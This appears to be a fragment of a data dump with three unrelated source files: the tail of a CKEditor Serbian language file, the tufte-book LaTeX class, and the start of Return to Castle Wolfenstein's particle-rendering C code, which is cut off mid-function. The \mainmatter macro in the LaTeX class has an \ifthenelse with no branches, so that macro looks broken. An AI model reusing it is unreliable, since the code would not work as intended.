'Obrasci za sadržaj',\r\n\t\toptions : 'Template Options', // MISSING\r\n\t\tinsertOption\t: 'Replace actual contents', // MISSING\r\n\t\tselectPromptMsg\t: 'Molimo Vas da odaberete obrazac koji ce biti primenjen na stranicu (trenutni sadržaj ce biti obrisan):',\r\n\t\temptyListMsg\t: '(Nema definisanih obrazaca)'\r\n\t},\r\n\r\n\tshowBlocks : 'Show Blocks', // MISSING\r\n\r\n\tstylesCombo :\r\n\t{\r\n\t\tlabel\t\t: 'Stil',\r\n\t\tpanelTitle\t: 'Formatting Styles', // MISSING\r\n\t\tpanelTitle1\t: 'Block Styles', // MISSING\r\n\t\tpanelTitle2\t: 'Inline Styles', // MISSING\r\n\t\tpanelTitle3\t: 'Object Styles' // MISSING\r\n\t},\r\n\r\n\tformat :\r\n\t{\r\n\t\tlabel\t\t: 'Format',\r\n\t\tpanelTitle\t: 'Format',\r\n\r\n\t\ttag_p\t\t: 'Normal',\r\n\t\ttag_pre\t\t: 'Formatirano',\r\n\t\ttag_address\t: 'Adresa',\r\n\t\ttag_h1\t\t: 'Naslov 1',\r\n\t\ttag_h2\t\t: 'Naslov 2',\r\n\t\ttag_h3\t\t: 'Naslov 3',\r\n\t\ttag_h4\t\t: 'Naslov 4',\r\n\t\ttag_h5\t\t: 'Naslov 5',\r\n\t\ttag_h6\t\t: 'Naslov 6',\r\n\t\ttag_div\t\t: 'Normal (DIV)' // MISSING\r\n\t},\r\n\r\n\tdiv :\r\n\t{\r\n\t\ttitle\t\t\t\t: 'Create Div Container', // MISSING\r\n\t\ttoolbar\t\t\t\t: 'Create Div Container', // MISSING\r\n\t\tcssClassInputLabel\t: 'Stylesheet Classes', // MISSING\r\n\t\tstyleSelectLabel\t: 'Style', // MISSING\r\n\t\tIdInputLabel\t\t: 'Id', // MISSING\r\n\t\tlanguageCodeInputLabel\t: ' Language Code', // MISSING\r\n\t\tinlineStyleInputLabel\t: 'Inline Style', // MISSING\r\n\t\tadvisoryTitleInputLabel\t: 'Advisory Title', // MISSING\r\n\t\tlangDirLabel\t\t: 'Language Direction', // MISSING\r\n\t\tlangDirLTRLabel\t\t: 'Left to Right (LTR)', // MISSING\r\n\t\tlangDirRTLLabel\t\t: 'Right to Left (RTL)', // MISSING\r\n\t\tedit\t\t\t\t: 'Edit Div', // MISSING\r\n\t\tremove\t\t\t\t: 'Remove Div' // MISSING\r\n \t},\r\n\r\n\tfont :\r\n\t{\r\n\t\tlabel\t\t: 'Font',\r\n\t\tvoiceLabel\t: 'Font', // MISSING\r\n\t\tpanelTitle\t: 'Font'\r\n\t},\r\n\r\n\tfontSize :\r\n\t{\r\n\t\tlabel\t\t: 'Veličina fonta',\r\n\t\tvoiceLabel\t: 'Font Size', // MISSING\r\n\t\tpanelTitle\t: 'Veličina fonta'\r\n\t},\r\n\r\n\tcolorButton :\r\n\t{\r\n\t\ttextColorTitle\t: 'Boja teksta',\r\n\t\tbgColorTitle\t: 'Boja pozadine',\r\n\t\tpanelTitle\t\t: 'Colors', // MISSING\r\n\t\tauto\t\t\t: 'Automatski',\r\n\t\tmore\t\t\t: 'Više boja...'\r\n\t},\r\n\r\n\tcolors :\r\n\t{\r\n\t\t'000' : 'Black', // MISSING\r\n\t\t'800000' : 'Maroon', // MISSING\r\n\t\t'8B4513' : 'Saddle Brown', // MISSING\r\n\t\t'2F4F4F' : 'Dark Slate Gray', // MISSING\r\n\t\t'008080' : 'Teal', // MISSING\r\n\t\t'000080' : 'Navy', // MISSING\r\n\t\t'4B0082' : 'Indigo', // MISSING\r\n\t\t'696969' : 'Dim Gray', // MISSING\r\n\t\t'B22222' : 'Fire Brick', // MISSING\r\n\t\t'A52A2A' : 'Brown', // MISSING\r\n\t\t'DAA520' : 'Golden Rod', // MISSING\r\n\t\t'006400' : 'Dark Green', // MISSING\r\n\t\t'40E0D0' : 'Turquoise', // MISSING\r\n\t\t'0000CD' : 'Medium Blue', // MISSING\r\n\t\t'800080' : 'Purple', // MISSING\r\n\t\t'808080' : 'Gray', // MISSING\r\n\t\t'F00' : 'Red', // MISSING\r\n\t\t'FF8C00' : 'Dark Orange', // MISSING\r\n\t\t'FFD700' : 'Gold', // MISSING\r\n\t\t'008000' : 'Green', // MISSING\r\n\t\t'0FF' : 'Cyan', // MISSING\r\n\t\t'00F' : 'Blue', // MISSING\r\n\t\t'EE82EE' : 'Violet', // MISSING\r\n\t\t'A9A9A9' : 'Dark Gray', // MISSING\r\n\t\t'FFA07A' : 'Light Salmon', // MISSING\r\n\t\t'FFA500' : 'Orange', // MISSING\r\n\t\t'FFFF00' : 'Yellow', // MISSING\r\n\t\t'00FF00' : 'Lime', // MISSING\r\n\t\t'AFEEEE' : 'Pale Turquoise', // MISSING\r\n\t\t'ADD8E6' : 'Light Blue', // MISSING\r\n\t\t'DDA0DD' : 'Plum', // MISSING\r\n\t\t'D3D3D3' : 'Light Grey', // MISSING\r\n\t\t'FFF0F5' : 'Lavender Blush', // MISSING\r\n\t\t'FAEBD7' : 'Antique White', // MISSING\r\n\t\t'FFFFE0' : 'Light Yellow', // MISSING\r\n\t\t'F0FFF0' : 'Honeydew', // MISSING\r\n\t\t'F0FFFF' : 'Azure', // MISSING\r\n\t\t'F0F8FF' : 'Alice Blue', // MISSING\r\n\t\t'E6E6FA' : 'Lavender', // MISSING\r\n\t\t'FFF' : 'White' // MISSING\r\n\t},\r\n\r\n\tscayt :\r\n\t{\r\n\t\ttitle\t\t\t: 'Spell Check As You Type', // MISSING\r\n\t\tenable\t\t\t: 'Enable SCAYT', // MISSING\r\n\t\tdisable\t\t\t: 'Disable SCAYT', // MISSING\r\n\t\tabout\t\t\t: 'About SCAYT', // MISSING\r\n\t\ttoggle\t\t\t: 'Toggle SCAYT', // MISSING\r\n\t\toptions\t\t\t: 'Options', // MISSING\r\n\t\tlangs\t\t\t: 'Languages', // MISSING\r\n\t\tmoreSuggestions\t: 'More suggestions', // MISSING\r\n\t\tignore\t\t\t: 'Ignore', // MISSING\r\n\t\tignoreAll\t\t: 'Ignore All', // MISSING\r\n\t\taddWord\t\t\t: 'Add Word', // MISSING\r\n\t\temptyDic\t\t: 'Dictionary name should not be empty.', // MISSING\r\n\t\toptionsTab\t\t: 'Options', // MISSING\r\n\t\tlanguagesTab\t: 'Languages', // MISSING\r\n\t\tdictionariesTab\t: 'Dictionaries', // MISSING\r\n\t\taboutTab\t\t: 'About' // MISSING\r\n\t},\r\n\r\n\tabout :\r\n\t{\r\n\t\ttitle\t\t: 'About CKEditor', // MISSING\r\n\t\tdlgTitle\t: 'About CKEditor', // MISSING\r\n\t\tmoreInfo\t: 'For licensing information please visit our web site:', // MISSING\r\n\t\tcopy\t\t: 'Copyright &copy; $1. All rights reserved.' // MISSING\r\n\t},\r\n\r\n\tmaximize : 'Maximize', // MISSING\r\n\tminimize : 'Minimize', // MISSING\r\n\r\n\tfakeobjects :\r\n\t{\r\n\t\tanchor\t: 'Anchor', // MISSING\r\n\t\tflash\t: 'Flash Animation', // MISSING\r\n\t\tdiv\t\t: 'Page Break', // MISSING\r\n\t\tunknown\t: 'Unknown Object' // MISSING\r\n\t},\r\n\r\n\tresize : 'Drag to resize', // MISSING\r\n\r\n\tcolordialog :\r\n\t{\r\n\t\ttitle\t\t: 'Select color', // MISSING\r\n\t\thighlight\t: 'Highlight', // MISSING\r\n\t\tselected\t: 'Selected', // MISSING\r\n\t\tclear\t\t: 'Clear' // MISSING\r\n\t},\r\n\r\n\ttoolbarCollapse\t: 'Collapse Toolbar', // MISSING\r\n\ttoolbarExpand\t: 'Expand Toolbar' // MISSING\r\n};\r\n"} {"text": "\\NeedsTeXFormat{LaTeX2e}[1994/06/01]\n\n\\ProvidesClass{tufte-book}[2009/12/11 v3.5.0 Tufte-book class]\n\n%%\n% Declare we're tufte-book\n\\newcommand{\\@tufte@class}{book}% the base LaTeX class (defaults to the article/handout style)\n\\newcommand{\\@tufte@pkgname}{tufte-book}% the name of the package (defaults to tufte-handout)\n\n%%\n% Load the common style elements\n\\input{tufte-common.def}\n\n\n%%\n% Set up any book-specific stuff now\n\n%%\n% The front matter in Tufte's /Beautiful Evidence/ contains everything up\n% to the opening page of Chapter 1. The running heads, when they appear,\n% contain only the (arabic) page number in the outside corner.\n%\\newif\\if@mainmatter \\@mainmattertrue\n\\renewcommand\\frontmatter{%\n \\cleardoublepage%\n \\@mainmatterfalse%\n %\\pagenumbering{arabic}%\n %\\pagestyle{plain}%\n \\fancyhf{}%\n \\ifthenelse{\\boolean{@tufte@twoside}}%\n {\\fancyfoot[LE,RO]{\\thepage}}%\n {\\fancyfoot[RE,RO]{\\thepage}}%\\fancyfoot[R]{\\thepage}\n}\n\n\n%%\n% The main matter in Tufte's /Beautiful Evidence/ doesn't restart the page\n% numbering---it continues where it left off in the front matter.\n\\renewcommand\\mainmatter{%\n \\cleardoublepage%\n \\@mainmattertrue%\n \\fancyhf{}%\n \\ifthenelse{\\boolean{@tufte@twoside}}%\n \n}\n\n\n%%\n% The back matter contains appendices, indices, glossaries, endnotes,\n% biliographies, list of contributors, illustration credits, etc.\n\\renewcommand\\backmatter{%\n \\if@openright%\n \\cleardoublepage%\n \\else%\n \\clearpage%\n \\fi%\n \\@mainmatterfalse%\n}\n\n%%\n% Only show the chapter titles in the table of contents\n\\setcounter{tocdepth}{0}\n\n%%\n% If there is a `tufte-book-local.sty' file, load it.\n\n\\IfFileExists{tufte-book-local.tex}\n {\\input{tufte-book-local}\n \\TufteInfoNL{Loading tufte-book-local.tex}}\n {}\n\n%%\n% End of file\n\\endinput\n"} {"text": "/*\n===========================================================================\n\nReturn to Castle Wolfenstein single player GPL Source Code\nCopyright (C) 1999-2010 id Software LLC, a ZeniMax Media company. \n\nThis file is part of the Return to Castle Wolfenstein single player GPL Source Code (“RTCW SP Source Code”). \n\nRTCW SP Source Code is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nRTCW SP Source Code is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with RTCW SP Source Code. If not, see <http://www.gnu.org/licenses/>.\n\nIn addition, the RTCW SP Source Code is also subject to certain additional terms. You should have received a copy of these additional terms immediately following the terms and conditions of the GNU General Public License which accompanied the RTCW SP Source Code. If not, please request a copy in writing from id Software at the address below.\n\nIf you have questions concerning this license or the applicable additional terms, you may contact in writing id Software LLC, c/o ZeniMax Media Inc., Suite 120, Rockville, Maryland 20850 USA.\n\n===========================================================================\n*/\n\n// Rafael particles\n// cg_particles.c\n\n#include \"cg_local.h\"\n\n#define MUSTARD 1\n#define BLOODRED 2\n#define EMISIVEFADE 3\n#define GREY75 4\n#define ZOMBIE 5\n\ntypedef struct particle_s\n{\n\tstruct particle_s *next;\n\n\tfloat time;\n\tfloat endtime;\n\n\tvec3_t org;\n\tvec3_t vel;\n\tvec3_t accel;\n\tint color;\n\tfloat colorvel;\n\tfloat alpha;\n\tfloat alphavel;\n\tint type;\n\tqhandle_t pshader;\n\n\tfloat height;\n\tfloat width;\n\n\tfloat endheight;\n\tfloat endwidth;\n\n\tfloat start;\n\tfloat end;\n\n\tfloat startfade;\n\tqboolean rotate;\n\tint snum;\n\n\tqboolean link;\n\n\t// Ridah\n\tint shaderAnim;\n\tint roll;\n\n\tint accumroll;\n\n} cparticle_t;\n\ntypedef enum\n{\n\tP_NONE,\n\tP_WEATHER,\n\tP_FLAT,\n\tP_SMOKE,\n\tP_ROTATE,\n\tP_WEATHER_TURBULENT,\n\tP_ANIM, // Ridah\n\tP_BAT,\n\tP_BLEED,\n\tP_FLAT_SCALEUP,\n\tP_FLAT_SCALEUP_FADE,\n\tP_WEATHER_FLURRY,\n\tP_SMOKE_IMPACT,\n\tP_BUBBLE,\n\tP_BUBBLE_TURBULENT,\n\tP_SPRITE\n} particle_type_t;\n\n#define MAX_SHADER_ANIMS 8\n#define MAX_SHADER_ANIM_FRAMES 64\nstatic char *shaderAnimNames[MAX_SHADER_ANIMS] = {\n\t\"explode1\",\n\t\"blacksmokeanim\",\n\t\"twiltb2\",\n\t\"expblue\",\n\t\"blacksmokeanimb\", // uses 'explode1' sequence\n\t\"blood\",\n\tNULL\n};\nstatic qhandle_t shaderAnims[MAX_SHADER_ANIMS][MAX_SHADER_ANIM_FRAMES];\nstatic int shaderAnimCounts[MAX_SHADER_ANIMS] = {\n\t23,\n\t23, // (SA) removing warning messages from startup\n\t45,\n\t25,\n\t23,\n\t5,\n};\nstatic float shaderAnimSTRatio[MAX_SHADER_ANIMS] = {\n\t1.405,\n\t1,\n\t1,\n\t1,\n\t1,\n\t1,\n};\nstatic int numShaderAnims;\n// done.\n\n#define PARTICLE_GRAVITY 40\n#define MAX_PARTICLES 1024 * 8\n\ncparticle_t *active_particles, *free_particles;\ncparticle_t particles[MAX_PARTICLES];\nint cl_numparticles = MAX_PARTICLES;\n\nqboolean initparticles = qfalse;\nvec3_t vforward, vright, vup;\nvec3_t rforward, rright, rup;\n\nfloat oldtime;\n\n\n/*\n==============\nCG_ParticleLODCheck\n==============\n*/\nqboolean CG_ParticleLODCheck( void ) {\n\tif ( cg_particleLOD.integer <= 1 ) {\n\t\treturn qtrue;\n\t}\n\n\n\tif ( !( rand() % ( cg_particleLOD.integer ) ) ) { // let particle lod thin out particles\n\t\treturn qtrue;\n\t}\n\n\treturn qfalse;\n}\n\n/*\n===============\nCL_ClearParticles\n===============\n*/\nvoid CG_ClearParticles( void ) {\n\tint i;\n\n\tmemset( particles, 0, sizeof( particles ) );\n\n\tfree_particles = &particles[0];\n\tactive_particles = NULL;\n\n\tfor ( i = 0 ; i < cl_numparticles ; i++ )\n\t{\n\t\tparticles[i].next = &particles[i + 1];\n\t\tparticles[i].type = 0;\n\t}\n\tparticles[cl_numparticles - 1].next = NULL;\n\n\toldtime = cg.time;\n\n\t// Ridah, init the shaderAnims\n\tfor ( i = 0; shaderAnimNames[i]; i++ ) {\n\t\tint j;\n\n\t\tfor ( j = 0; j < shaderAnimCounts[i]; j++ ) {\n\t\t\tshaderAnims[i][j] = trap_R_RegisterShader( va( \"%s%i\", shaderAnimNames[i], j + 1 ) );\n\t\t}\n\t}\n\tnumShaderAnims = i;\n\t// done.\n\n\tinitparticles = qtrue;\n}\n\n\n/*\n=====================\nCG_AddParticleToScene\n=====================\n*/\nvoid CG_AddParticleToScene( cparticle_t *p, vec3_t org, float alpha ) {\n\n\tvec3_t point;\n\tpolyVert_t verts[4];\n\tfloat width;\n\tfloat height;\n\tfloat time, time2;\n\tfloat ratio;\n\tfloat invratio;\n\tvec3_t color;\n\tpolyVert_t TRIverts[3];\n\tvec3_t rright2, rup2;\n\n\tif ( p->type == P_WEATHER || p->type == P_WEATHER_TURBULENT || p->type == P_WEATHER_FLURRY\n\t\t || p->type == P_BUBBLE || p->type == P_BUBBLE_TURBULENT ) { // create a front facing polygon\n\n\t\tif ( p->type != P_WEATHER_FLURRY ) {\n\t\t\tif ( p->type == P_BUBBLE || p->type == P_BUBBLE_TURBULENT ) {\n\t\t\t\tif ( org[2] > p->end ) {\n\t\t\t\t\tp->time = cg.time;\n\t\t\t\t\tVectorCopy( org, p->org ); // Ridah, fixes rare snow flakes that flicker on the ground\n\n\t\t\t\t\tp->org[2] = ( p->start + crandom() * 4 );\n\n\n\t\t\t\t\tif ( p->type == P_BUBBLE_TURBULENT ) {\n\t\t\t\t\t\tp->vel[0] = crandom() * 4;\n\t\t\t\t\t\tp->vel[1] = crandom() * 4;\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t} else\n\t\t\t{\n\t\t\t\tif ( org[2] < p->end ) {\n\t\t\t\t\tp->time = cg.time;\n\t\t\t\t\tVectorCopy( org, p->org ); // Ridah, fixes rare snow flakes that flicker on the ground\n\n\t\t\t\t\twhile ( p->org[2] < p->end )\n\t\t\t\t\t{\n\t\t\t\t\t\tp->org[2] += ( p->start - p->end );\n\t\t\t\t\t}\n\n\n\t\t\t\t\tif ( p->type == P_WEATHER_TURBULENT ) {\n\t\t\t\t\t\tp->vel[0] = crandom() * 16;\n\t\t\t\t\t\tp->vel[1] = crandom() * 16;\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\n\n\t\t\t// Rafael snow pvs check\n\t\t\tif ( !p->link ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tp->alpha = 1;\n\t\t}\n\n\t\t// Ridah, had to do this or MAX_POLYS is being exceeded in village1.bsp\n\t\t//----(SA)\tmade the dist a cvar\n\n\t\t// dot product removal (gets you the dist^2, which you needed anyway, also dot lets you adjust lod when zooming)\n\t\tif ( 1 ) {\n\t\t\tvec3_t dir;\n\t\t\tfloat dot, distSqrd;\n\n\t\t\tVectorSubtract( cg.refdef.vieworg, org, dir );\n\t\t\tdistSqrd = dir[0] * dir[0] + dir[1] * dir[1] + dir[2] * dir[2];\n\n\t\t\tdot = DotProduct( dir, cg.refdef.viewaxis[0] );\n\n\t\t\tif ( distSqrd > ( cg_particleDist.value * cg_particleDist.value ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\n\n\t\t// done.\n\n\t\tif ( p->type == P_BUBBLE || p->type == P_BUBBLE_TURBULENT ) {\n\t\t\tVectorMA( org, -p->height, vup, point );\n\t\t\tVectorMA( point, -p->width, vright, point );\n\t\t\tVectorCopy( point, verts[0].xyz );\n\t\t\tverts[0].st[0] = 0;\n\t\t\tverts[0].st[1] = 0;\n\t\t\tverts[0].modulate[0] = 255;\n\t\t\tverts[0].modulate[1] = 255;\n\t\t\tverts[0].modulate[2] = 255;\n\t\t\tverts[0].modulate[3] = 255 * p->alpha;\n\n\t\t\tVectorMA( org, -p->height, vup, point );\n\t\t\tVectorMA( point, p->width, vright, point );\n\t\t\tVectorCopy( point, verts[1].xyz );\n\t\t\tverts[1].st[0] = 0;\n\t\t\tverts[1].st[1] = 1;\n\t\t\tverts[1].modulate[0] = 255;\n\t\t\tverts[1].modulate[1] = 255;\n\t\t\tverts[1].modulate[2] = 255;\n\t\t\tverts[1].modulate[3] = 255 * p->alpha;\n\n\t\t\tVectorMA( org, p->height, vup, point );\n\t\t\tVectorMA( point, p->width, vright, point );\n\t\t\tVectorCopy( point, verts[2].xyz );\n\t\t\tverts[2].st[0] = 1;\n\t\t\tverts[2].st[1] = 1;\n\t\t\tverts[2].modulate[0] = 255;\n\t\t\tverts[2].modulate[1] = 255;\n\t\t\tverts[2].modulate[2] = 255;\n\t\t\tverts[2].modulate[3] = 255 * p->alpha;\n\n\t\t\tVectorMA( org, p->height, vup, point );\n\t\t\tVectorMA( point, -p->width, vright, point );\n\t\t\tVectorCopy( point, verts[3].xyz );\n\t\t\tverts[3].st[0] = 1;\n\t\t\tverts[3].st[1] = 0;\n\t\t\tverts[3].modulate[0] = 255;\n\t\t\tverts[3].modulate[1] = 255;\n\t\t\tverts[3].modulate[2] = 255;\n\t\t\tverts[3].modulate[3] = 255 * p->alpha;\n\t\t} else\n\t\t{\n\t\t\tVectorMA( org, -p->height, vup, point );\n\t\t\tVectorMA( point, -p->width, vright, point );\n\t\t\tVectorCopy( point, TRIverts[0].xyz );\n\t\t\tTRIverts[0].st[0] = 1;\n\t\t\tTRIverts[0].st[1] = 0;\n\t\t\tTRIverts[0].modulate[0] = 255;\n\t\t\tTRIverts[0].modulate[1] = 255;\n\t\t\tTRIverts[0].modulate[2] = 255;\n\t\t\tTRIverts[0].modulate[3] = 255 * p->alpha;\n\n\t\t\tVectorMA( org, p->height, vup, point );\n\t\t\tVectorMA( point, -p->width, vright, point );\n\t\t\tVectorCopy( point, TRIverts[1].xyz );\n\t\t\tTRIverts[1].st[0] = 0;\n\t\t\tTRIverts[1].st[1] = 0;\n\t\t\tTRIverts[1].modulate[0] = 255;\n\t\t\tTRIverts[1].modulate[1] = 255;\n\t\t\tTRIverts[1].modulate[2] = 255;\n\t\t\tTRIverts[1].modulate[3] = 255 * p->alpha;\n\n\t\t\tVectorMA( org, p->height, vup, point );\n\t\t\tVectorMA( point, p->width, vright, point );\n\t\t\tVectorCopy( point, TRIverts[2].xyz );\n\t\t\tTRIverts[2].st[0] = 0;\n\t\t\tTRIverts[2].st[1] = 1;\n\t\t\tTRIverts[2].modulate[0] = 255;\n\t\t\tTRIverts[2].modulate[1] = 255;\n\t\t\tTRIverts[2].modulate[2] = 255;\n\t\t\tTRIverts[2].modulate[3] = 255 * p->alpha;\n\t\t}\n\n\t} else if ( p->type == P_SPRITE ) {\n\t\tvec3_t rr, ru;\n\t\tvec3_t rotate_ang;\n\n\t\tVectorSet( color, 1.0, 1.0, 1.0 );\n\t\ttime = cg.time - p->time;\n\t\ttime2 = p->endtime - p->time;\n\t\tratio = time / time2;\n\n\t\twidth = p->width + ( ratio * ( p->endwidth - p->width ) );\n\t\theight = p->height + ( ratio * ( p->endheight - p->height ) );\n\n\t\tif ( p->roll ) {\n\t\t\tvectoangles( cg.refdef.viewaxis[0], rotate_ang );\n\t\t\trotate_ang[ROLL] += p->roll;\n\t\t\tAngleVectors( rotate_ang, NULL, rr, ru );\n\t\t}\n\n\t\tif ( p->roll ) {\n\t\t\tVectorMA( org, -height, ru, point );\n\t\t\tVectorMA( point, -width, rr, point );\n\t\t} else {\n\t\t\tVectorMA( org, -height, vup, point );\n\t\t\tVectorMA( point, -width, vright, point );\n\t\t}\n\t\tVectorCopy( point, verts[0].xyz );\n\t\tverts[0].st[0] = 0;\n\t\tverts[0].st[1] = 0;\n\t\tverts[0].modulate[0] = 255;\n\t\tverts[0].modulate[1] = 255;\n\t\tverts[0].modulate[2] = 255;\n\t\tverts[0].modulate[3] = 255;\n\n\t\tif ( p->roll ) {\n\t\t\tVectorMA( point, 2 * height, ru, point );\n\t\t} else {\n\t\t\tVectorMA( point, 2 * height, vup, point );\n\t\t}\n\t\tVectorCopy( point, verts[1].xyz );\n\t\tverts[1].st[0] = 0;\n\t\tverts[1].st[1] = 1;\n\t\tverts[1].modulate[0] = 255;\n\t\tverts[1].modulate[1] = 255;\n\t\tverts[1].modulate[2] = 255;\n\t\tverts[1].modulate[3] = 255;\n\n\t\tif ( p->roll ) {\n\t\t\tVectorMA( point, 2 * width, rr, point );\n\t\t} else {\n\t\t\tVectorMA( point, 2 * width, vright, point );\n\t\t}\n\t\tVectorCopy( point, verts[2].xyz );\n\t\tverts[2].st[0] = 1;\n\t\tverts[2].st[1] = 1;\n\t\tverts[2].modulate[0] = 255;\n\t\tverts[2].modulate[1] = 255;\n\t\tverts[2].modulate[2] = 255;\n\t\tverts[2].modulate[3] = 255;\n\n\t\tif ( p->roll ) {\n\t\t\tVectorMA( point, -2 * height, ru, point );\n\t\t} else {\n\t\t\tVectorMA( point, -2 * height, vup, point );\n\t\t}\n\t\tVectorCopy( point, verts[3].xyz );\n\t\tverts[3].st[0] = 1;\n\t\tverts[3].st[1] = 0;\n\t\tverts[3].modulate[0] = 255;\n\t\tverts[3].modulate[1] = 255;\n\t\tverts[3].modulate[2] = 255;\n\t\tverts[3].modulate[3] = 255;\n\t} else if ( p->type == P_SMOKE || p->type == P_SMOKE_IMPACT ) { // create a front rotating facing polygon\n\n//\t\tif ( p->type == P_SMOKE_IMPACT && Distance( cg.snap->ps.origin, org ) > 1024) {\n//\t\t\treturn;\n//\t\t}\n\n\t\t// dot product removal (gets you the dist^2, which you needed anyway, also dot lets you adjust lod when zooming)\n\t\tif ( 1 ) {\n\t\t\tvec3_t dir;\n\t\t\tfloat dot, distSqrd, fardist;\n\n\t\t\tVectorSubtract( org, cg.refdef.vieworg, dir );\n\t\t\tdistSqrd = dir[0] * dir[0] + dir[1] * dir[1] + dir[2] * dir[2];\n\n\t\t\tVectorNormalize( dir );\n\t\t\tdot = DotProduct( dir, cg.refdef.viewaxis[0] );\n\n\t\t\tif ( dot < 0 ) { // behind camera\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tfardist = ( cg_particleDist.value * cg_particleDist.value );\n\t\t\t// push distance out when zooming\n\t\t\tif ( cg.predictedPlayerState.eFlags & EF_ZOOMING ) {\n\t\t\t\tfardist *= 2;\n\t\t\t}\n\n//\t\t\tif(fabs(dot) < 0.8)\n//\t\t\t\treturn;\n\n\t\t\tif ( distSqrd > fardist ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\n\t\tif ( p->color == MUSTARD ) {\n\t\t\tVectorSet( color, 0.42, 0.33, 0.19 );\n\t\t} else if ( p->color == BLOODRED ) {\n\t\t\tVectorSet( color, 0.22, 0, 0 );\n\t\t} else if ( p->color == ZOMBIE ) {\n\t\t\tVectorSet( color, 0.4, 0.28, 0.23 );\n\t\t} else if ( p->color == GREY75 ) {\n\t\t\tfloat len;\n\t\t\tfloat greyit;\n\t\t\tfloat val;\n\t\t\tlen = Distance( cg.snap->ps.origin, org );\n\t\t\tif ( !len ) {\n\t\t\t\tlen = 1;\n\t\t\t}\n\n\t\t\tval = 4096 / len;\n\t\t\tgreyit = 0.25 * val;\n\t\t\tif ( greyit > 0.5 ) {\n\t\t\t\tgreyit = 0.5;\n\t\t\t}\n\n\t\t\tVectorSet( color, greyit, greyit, greyit );\n\t\t} else {\n\t\t\tVectorSet( color, 1.0, 1.0, 1.0 );\n\t\t}\n\n\t\ttime = cg.time - p->time;\n\t\ttime2 = p->endtime - p->time;\n\t\tratio = time / time2;\n\n\t\tif ( cg.time > p->startfade ) {\n\t\t\tinvratio = 1 - ( ( cg.time - p->startfade ) / ( p->endtime - p->startfade ) );\n\n\t\t\tif ( p->color == EMISIVEFADE ) {\n\t\t\t\tfloat fval;\n\t\t\t\tfval = ( invratio * invratio );\n\t\t\t\tif ( fval < 0 ) {\n\t\t\t\t\tfval = 0;\n\t\t\t\t}\n\t\t\t\tVectorSet( color, fval, fval, fval );\n\t\t\t}\n\t\t\tinvratio *= p->alpha;\n\t\t} else {\n\t\t\tinvratio = 1 * p->alpha;\n\t\t}\n\n\t\tif ( cgs.glconfig.hardwareType == GLHW_RAGEPRO ) {\n\t\t\tinvratio = 1;\n\t\t}\n\n\t\tif ( invratio > 1 ) {\n\t\t\tinvratio = 1;\n\t\t}\n\n\t\twidth = p->width + ( ratio * ( p->endwidth - p->width ) );\n\t\theight = p->height + ( ratio * ( p->endheight - p->height ) );\n\n//\t\tif (p->type != P_SMOKE_IMPACT)\n\t\t{\n\t\t\tvec3_t temp;\n\n\t\t\tvectoangles( rforward, temp );\n\t\t\tp->accumroll += p->roll;\n\t\t\ttemp[ROLL] += p->accumroll * 0.1;\n//\t\t\ttemp[ROLL] += p->roll * 0.1;\n\t\t\tAngleVectors( temp, NULL, rright2, rup2 );\n\t\t}\n//\t\telse\n//\t\t{\n//\t\t\tVectorCopy (rright, rright2);\n//\t\t\tVectorCopy (rup, rup2);\n//\t\t}\n\n\t\tif ( p->rotate ) {\n\t\t\tVectorMA( org, -height, rup2, point );\n\t\t\tVectorMA( point, -width, rright2, point );\n\t\t} else\n\t\t{\n\t\t\tVectorMA( org, -p->height, vup, point );\n\t\t\tVectorMA( point, -p->width, vright, point );\n\t\t}\n\t\tVectorCopy( point, verts[0].xyz );\n\t\tverts[0].st[0] = 0;\n\t\tverts[0].st[1] = 0;\n\t\tverts[0].modulate[0] = 255 * color[0];\n\t\tverts[0].modulate[1] = 255 * color[1];\n\t\tverts[0].modulate[2] = 255 * color[2];\n\t\tverts[0].modulate[3] = 255 * invratio;\n\n\t\tif ( p->rotate ) {\n\t\t\tVectorMA( org, -height, rup2, point );\n\t\t\tVectorMA( point, width, rright2, point );\n\t\t} else\n\t\t{\n\t\t\tVectorMA( org, -p->height, vup, point );\n\t\t\tVectorMA( point, p->width, vright, point );\n\t\t}\n\t\tVectorCopy( point, verts[1].xyz );\n\t\tverts[1].st[0] = 0;\n\t\tverts[1].st[1] = 1;\n\t\tverts[1].modulate[0] = 255 * color[0];\n\t\tverts[1].modulate[1] = 255 * color[1];\n\t\tverts[1].modulate[2] = 255 * color[2];\n\t\tverts[1].modulate[3] = 255 * invratio;\n\n\t\tif ( p->rotate ) {\n\t\t\tVectorMA( org, height, rup2, point );\n\t\t\tVectorMA( point, width, rright2, point );\n\t\t} else\n\t\t{\n\t\t\tVectorMA( org, p->height, vup, point );\n\t\t\tVectorMA( point, p->width, vright, point );\n\t\t}\n\t\tVectorCopy( point, verts[2].xyz );\n\t\tverts[2].st[0] = 1;\n\t\tverts[2].st[1] = 1;\n\t\tverts[2].modulate[0] = 255 * color[0];\n\t\tverts[2].modulate[1] = 255 * color[1];\n\t\tverts[2].modulate[2] = 255 * color[2];\n\t\tverts[2].modulate[3] = 255 * invratio;\n\n\t\tif ( p->rotate ) {\n\t\t\tVectorMA( org, height, rup2, point );\n\t\t\tVectorMA( point, -width, rright2, point );\n\t\t} else\n\t\t{\n\t\t\tVectorMA( org, p->height, vup, point );\n\t\t\tVectorMA( point, -p->width, vright, point );\n\t\t}\n\t\tVectorCopy( point, verts[3].xyz );\n\t\tverts[3].st[0] = 1;\n\t\tverts[3].st[1] = 0;\n\t\tverts[3].modulate[0] = 255 * color[0];\n\t\tverts[3].modulate[1] = 255 * color[1];\n\t\tverts[3].modulate[2] = 255 * color[2];\n\t\tverts[3].modulate[3] = 255 * invratio;\n\n\t} else if ( p->type == P_BAT ) {\n\t\tp->pshader = cgs.media.bats[( cg.time / 50 + (int)( p - particles ) ) % 10];\n\n\t\tVectorMA( org, -p->height, vup, point );\n\t\tVectorMA( point, -p->width, vright, point );\n\t\tVectorCopy( point, verts[0].xyz );\n\t\tverts[0].st[0] = 0;\n\t\tverts[0].st[1] 